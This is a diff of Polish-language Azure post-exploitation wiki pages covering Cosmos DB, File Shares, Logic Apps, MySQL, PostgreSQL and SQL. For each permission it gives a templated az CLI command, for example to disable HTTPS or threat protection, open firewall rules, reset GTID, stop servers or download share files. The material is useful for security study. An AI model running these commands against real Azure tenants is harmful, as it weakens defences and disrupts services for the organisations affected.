### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować wyzwalacze w obrębie kontenera bazy danych SQL w koncie Azure Cosmos DB. Wyzwalacze pozwalają na wykonywanie logiki po stronie serwera w odpowiedzi na operacje.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować wyzwalacze w kontenerze bazy danych SQL w koncie Azure Cosmos DB. Wyzwalacze pozwalają na wykonywanie logiki po stronie serwera w odpowiedzi na operacje.
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować procedury składowane w kontenerze bazy danych SQL w koncie Azure Cosmos DB. Procedury składowane w Cosmos DB to funkcje JavaScript po stronie serwera, które pozwalają na enkapsulację logiki przetwarzania danych lub wykonywania operacji bezpośrednio w bazie danych.
{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name <stored_procedure_name> \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować wyzwalacze w obrębie kontenera bazy danych SQL w koncie Azure Cosmos DB. Wyzwalacze pozwalają na wykonywanie logiki po stronie serwera w odpowiedzi na operacje takie jak wstawienia, aktualizacje lub usunięcia.
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować wyzwalacze w kontenerze bazy danych SQL w koncie Azure Cosmos DB. Wyzwalacze pozwalają na wykonywanie logiki po stronie serwera w odpowiedzi na operacje takie jak wstawienia, aktualizacje lub usunięcia.
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować kolekcje w bazach danych MongoDB w koncie Azure Cosmos DB. Kolekcje służą do przechowywania dokumentów oraz definiowania struktury i partycjonowania danych.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name <account_name> \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name <mongodb_database_name> \
--name <collection_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
Dzięki temu uprawnieniu możesz tworzyć nowe bazy danych MongoDB w ramach konta Azure Cosmos DB. Umożliwia to provisionowanie nowych baz danych do przechowywania i zarządzania kolekcjami oraz dokumentami.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Dzięki temu uprawnieniu możesz tworzyć nowe definicje ról MongoDB w ramach konta Azure Cosmos DB. Umożliwia to definiowanie niestandardowych ról z określonymi uprawnieniami dla użytkowników MongoDB.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Dzięki temu uprawnieniu możesz tworzyć nowe definicje użytkowników MongoDB w ramach konta Azure Cosmos DB. Umożliwia to przydzielanie użytkowników z określonymi rolami i poziomami dostępu do baz danych MongoDB.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji na temat udostępniania plików, sprawdź:
../az-services/az-file-shares.md
{{#endref}}
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
Osoba z tym uprawnieniem będzie moa **wyświetlić** pliki w udostępnianiu plików i **pobierać** pliki, które mogą zawierać **wrażliwe informacje**.
Principal z tym uprawnieniem będzie mó**wyświetlić** pliki w udostępnianiu plików i **pobierać** pliki, które mogą zawierać **wrażliwe informacje**.
```bash
# List files inside an azure file share
az storage file list \
@@ -28,7 +28,7 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
Osoba z tym uprawnieniem będzie mogła **zapisywać i nadpisywać pliki w udostępnionych folderach**, co może pozwolić jej na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie jakiegoś kodu przechowywanego w udostępnionym folderze):
```bash
@@ -5,14 +5,12 @@
## Logic Apps Database Post Exploitation
Aby uzyskać więcej informacji na temat aplikacji logicznych, sprawdź:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Dzięki tym uprawnieniom możesz modyfikować przepływy pracy aplikacji logicznych i zarządzać ich tożsamościami. W szczególności możesz przypisywać lub usuwać tożsamości zarządzane przypisane do systemu i użytkownika do przepływów pracy, co pozwala aplikacji logicznej na uwierzytelnianie i dostęp do innych zasobów Azure bez jawnych poświadczeń.
{% code overflow="wrap" %}
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Dzięki tym uprawnieniom możesz modyfikować przepływy pracy aplikacji Logic i zarządzać ich tożsamościami. W szczególności możesz przypisywać lub usuwać tożsamości zarządzane przypisane do systemu i użytkownika do przepływów pracy, co pozwala aplikacji Logic uwierzytelnić się i uzyskać dostęp do innych zasobów Azure bez jawnych poświadczeń.
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Dzięki tym uprawnieniom możesz tworzyć lub aktualizować Logic Apps hostowane na planie usługi App Service. Obejmuje to modyfikację ustawień, takich jak włączanie lub wyłączanie wymuszenia HTTPS.
{% code overflow="wrap" %}
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
Dzięki tym uprawnieniom możesz tworzyć lub aktualizować Logic Apps hostowane na planie App Service. Obejmuje to modyfikację ustawień, takich jak włączanie lub wyłączanie wymuszenia HTTPS.
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
Dzięki temu uprawnieniu możesz uruchomić/zatrzymać/ponownie uruchomić aplikację internetową, w tym Logic Apps hostowane na planie App Service. Ta akcja zapewnia, że wcześniej zatrzymana aplikacja zostaje uruchomiona i wznawia swoją funkcjonalność. Może to zakłócić przepływy pracy, wywołać niezamierzone operacje lub spowodować przestoje poprzez nieoczekiwane uruchamianie, zatrzymywanie lub ponowne uruchamianie Logic Apps.
{% code overflow="wrap" %}
### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
Dzięki temu uprawnieniu możesz uruchomić/zatrzymać/ponownie uruchomić aplikację internetową, w tym Logic Apps hostowane na planie usługi App Service. Ta akcja zapewnia, że wcześniej zatrzymana aplikacja zostaje uruchomiona i wznawia swoją funkcjonalność. Może to zakłócić przepływy pracy, wywołać niezamierzone operacje lub spowodować przestoje poprzez nieoczekiwane uruchamianie, zatrzymywanie lub ponowne uruchamianie Logic Apps.
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
Dzięki temu uprawnieniu możesz konfigurować lub modyfikować ustawienia aplikacji webowych, w tym Logic Apps hostowane na planie App Service. Umożliwia to zmiany w ustawieniach aplikacji, ciągach połączeń, konfiguracjach uwierzytelniania i nie tylko.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz konfigurować lub modyfikować ustawienia aplikacji internetowych, w tym Logic Apps hostowane na planie App Service. Umożliwia to wprowadzanie zmian w ustawieniach aplikacji, ciągach połączeń, konfiguracjach uwierzytelniania i nie tylko.
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
### `Microsoft.Logic/integrationAccounts/write`
Dzięki temu uprawnieniu możesz tworzyć, aktualizować lub usuwać konta integracyjne Azure Logic Apps. Obejmuje to zarządzanie konfiguracjami na poziomie konta integracyjnego, takimi jak mapy, schematy, partnerzy, umowy i inne.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować konfiguracje wsadowe w ramach konta integracyjnego Azure Logic Apps. Konfiguracje wsadowe definiują, w jaki sposób Logic Apps przetwarzają i grupują przychodzące wiadomości do przetwarzania wsadowego.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować konfiguracje wsadowe w ramach konta integracyjnego Azure Logic Apps. Konfiguracje wsadowe definiują, jak Logic Apps przetwarzają i grupują przychodzące wiadomości do przetwarzania wsadowego.
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować mapy w ramach konta integracyjnego Azure Logic Apps. Mapy są używane do przekształcania danych z jednego formatu na inny, co umożliwia bezproblemową integrację między różnymi systemami i aplikacjami.
{% code overflow="wrap" %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować mapy w ramach konta integracyjnego Azure Logic Apps. Mapy są używane do przekształcania danych z jednego formatu na inny, umożliwiając płynne integrowanie różnych systemów i aplikacji.
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować partnerów w koncie integracyjnym Azure Logic Apps. Partnerzy reprezentują podmioty lub systemy, które uczestniczą w przepływach pracy typu business-to-business (B2B).
{% code overflow="wrap" %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować partnerów w koncie integracyjnym Azure Logic Apps. Partnerzy reprezentują podmioty lub systemy, które uczestniczą w procesach biznesowych typu business-to-business (B2B).
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować sesje w ramach konta integracyjnego Azure Logic Apps. Sesje są używane w przepływach pracy B2B do grupowania wiadomości i śledzenia powiązanych transakcji w określonym okresie.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
@@ -147,9 +112,9 @@ az logic integration-account session create \
}
}'
```
{% endcode %}
### "*/delete"
Z tymi uprawnieniami możesz usuwać zasoby związane z Azure Logic Apps
{{#include ../../../banners/hacktricks-training.md}}
@@ -5,54 +5,40 @@
## MySQL Database Post Exploitation
Aby uzyskać więcej informacji na temat bazy danych MySQL, sprawdź:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
Dzięki temu uprawnieniu możesz tworzyć nowe bazy danych w instancji MySQL Flexible Server na Azure. Chociaż ta akcja sama w sobie nie modyfikuje istniejących zasobów, nadmierne lub nieautoryzowane tworzenie baz danych może prowadzić do zużycia zasobów lub potencjalnego nadużycia serwera.
{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
Dzięki temu uprawnieniu możesz zainicjować tworzenie kopii zapasowych dla instancji MySQL Flexible Server na Azure. Umożliwia to użytkownikom generowanie kopii zapasowych na żądanie, co może być przydatne do zachowania danych w określonych momentach w czasie.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz zainicjować tworzenie kopii zapasowych dla instancji MySQL Flexible Server na Azure. Umożliwia to użytkownikom generowanie kopii zapasowych na żądanie, co może być przydatne do zachowania danych w określonych momentach czasowych.
```bash
az mysql flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
Dzięki temu uprawnieniu możesz skonfigurować lub zaktualizować ustawienia Advanced Threat Protection (ATP) dla instancji MySQL Flexible Server na Azure. Umożliwia to włączenie lub wyłączenie funkcji zabezpieczeń zaprojektowanych w celu wykrywania i reagowania na anomalie oraz potencjalne zagrożenia.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz skonfigurować lub zaktualizować ustawienia Advanced Threat Protection (ATP) dla instancji MySQL Flexible Server na Azure. Umożliwia to włączenie lub wyłączenie funkcji zabezpieczeń zaprojektowanych w celu wykrywania i reagowania na anomalne działania oraz potencjalne zagrożenia.
```bash
az mysql flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować reguły zapory dla instancji MySQL Flexible Server na Azure. Umożliwia to kontrolowanie, które adresy IP lub zakresy mogą uzyskać dostęp do serwera. Nieautoryzowane lub niewłaściwe użycie tego uprawnienia może narazić serwer na niepożądany lub złośliwy dostęp.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować reguły zapory dla instancji MySQL Flexible Server na Azure. Umożliwia to kontrolowanie, które adresy IP lub zakresy mogą uzyskiwać dostęp do serwera. Nieautoryzowane lub niewłaściwe użycie tego uprawnienia może narażać serwer na niepożądany lub złośliwy dostęp.
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
Dzięki temu uprawnieniu możesz zresetować GTID (Global Transaction Identifier) dla instancji MySQL Flexible Server na Azure. Resetowanie GTID unieważni wszystkie automatyczne, na żądanie kopie zapasowe oraz geo-kopie zapasowe, które zostały wykonane przed akcją resetu. Po resecie GTID nie będziesz mógł przeprowadzić PITR (przywracania do punktu w czasie) za pomocą najszybszego punktu przywracania lub przez niestandardowy punkt przywracania, jeśli wybrany czas przywracania jest przed czasem resetu GTID. A udane geo-przywracanie będzie możliwe dopiero po 5 dniach.
{% code overflow="wrap" %}
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group <resource_group_name> \
--gtid-set <gtid>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
Dzięki temu uprawnieniu możesz zaktualizować ustawienia konfiguracyjne instancji MySQL Flexible Server na Azure. Umożliwia to dostosowanie parametrów serwera, takich jak optymalizacja wydajności, konfiguracje bezpieczeństwa lub ustawienia operacyjne. Możesz zaktualizować następujące parametry razem w partii: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors oraz max_connections.
{% code overflow="wrap" %}
```bash
az mysql flexible-server parameter set-batch \
--resource-group <resource_group_name> \
--server-name <server_name> \
--args max_connections=<value>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Dzięki temu uprawnieniu możesz przypisać zarządzaną tożsamość przypisaną do użytkownika do elastycznych serwerów MySQL.
{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
Dzięki temu uprawnieniu możesz zatrzymać instancję PostgreSQL Flexible Server na Azure. Zatrzymanie serwera może prowadzić do tymczasowych zakłóceń w działaniu usług, wpływając na aplikacje i użytkowników zależnych od bazy danych.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz zatrzymać instancję PostgreSQL Flexible Server na Azure. Zatrzymanie serwera może prowadzić do tymczasowych zakłóceń w działaniu usługi, wpływając na aplikacje i użytkowników zależnych od bazy danych.
```bash
az mysql flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/start/action"
### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
@@ -5,54 +5,40 @@
## PostgreSQL Database Post Exploitation
Aby uzyskać więcej informacji na temat bazy danych PostgreSQL, sprawdź:
{% content-ref url="../az-services/az-postgresql.md" %}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Dzięki temu uprawnieniu możesz tworzyć nowe bazy danych w instancji Postgres Flexible Server na Azure. Chociaż ta akcja sama w sobie nie modyfikuje istniejących zasobów, nadmierne lub nieautoryzowane tworzenie baz danych może prowadzić do zużycia zasobów lub potencjalnego nadużycia serwera.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz tworzyć nowe bazy danych w instancji Postgres Flexible Server na Azure. Chociaż sama ta akcja nie modyfikuje istniejących zasobów, nadmierne lub nieautoryzowane tworzenie baz danych może prowadzić do zużycia zasobów lub potencjalnego nadużycia serwera.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
Dzięki temu uprawnieniu możesz zainicjować tworzenie kopii zapasowych dla instancji Postgres Flexible Server na Azure. Umożliwia to użytkownikom generowanie kopii zapasowych na żądanie, co może być przydatne do zachowania danych w określonych momentach w czasie.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz zainicjować tworzenie kopii zapasowych dla instancji Postgres Flexible Server na Azure. Umożliwia to użytkownikom generowanie kopii zapasowych na żądanie, co może być przydatne do zachowania danych w określonych momentach czasowych.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Dzięki temu uprawnieniu możesz skonfigurować lub zaktualizować ustawienia Advanced Threat Protection (ATP) dla instancji Postgres Flexible Server na Azure. Umożliwia to włączenie lub wyłączenie funkcji zabezpieczeń zaprojektowanych w celu wykrywania i reagowania na anomalne działania oraz potencjalne zagrożenia.
{% code overflow="wrap" %}
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować reguły zapory dla instancji Postgres Flexible Server na Azure. Umożliwia to kontrolowanie, które adresy IP lub zakresy mogą uzyskać dostęp do serwera. Nieautoryzowane lub niewłaściwe użycie tego uprawnienia może narażać serwer na niepożądany lub złośliwy dostęp.
{% code overflow="wrap" %}
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować reguły zapory dla instancji Postgres Flexible Server w Azure. Umożliwia to kontrolowanie, które adresy IP lub zakresy mogą uzyskać dostęp do serwera. Nieautoryzowane lub niewłaściwe użycie tego uprawnienia może narażać serwer na niepożądany lub złośliwy dostęp.
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Dzięki temu uprawnieniu możesz zaktualizować ustawienia konfiguracyjne instancji Postgres Flexible Server na Azure. Umożliwia to dostosowanie parametrów serwera, takich jak optymalizacja wydajności, konfiguracje zabezpieczeń lub ustawienia operacyjne.
{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group <resource_group_name> \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name <parameter_name> \
--value <parameter_value>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
Dzięki temu uprawnieniu możesz zatrzymać instancję PostgreSQL Flexible Server na Azure. Zatrzymanie serwera może prowadzić do tymczasowych zakłóceń w działaniu usług, wpływając na aplikacje i użytkowników zależnych od bazy danych.
{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować bazy danych w skompromitowanym środowisku. Ta aktywność po eksploatacji może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie backdoorów dla dalszej persystencji, co potencjalnie może zakłócić operacje lub umożliwić dodatkowe złośliwe działania.
```bash
@@ -20,9 +20,9 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować elasticPools w skompromitowanym środowisku. Ta aktywność po eksploatacji może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie tylnej furtki dla dalszej persystencji, co potencjalnie zakłóca operacje lub umożliwia dodatkowe złośliwe działania.
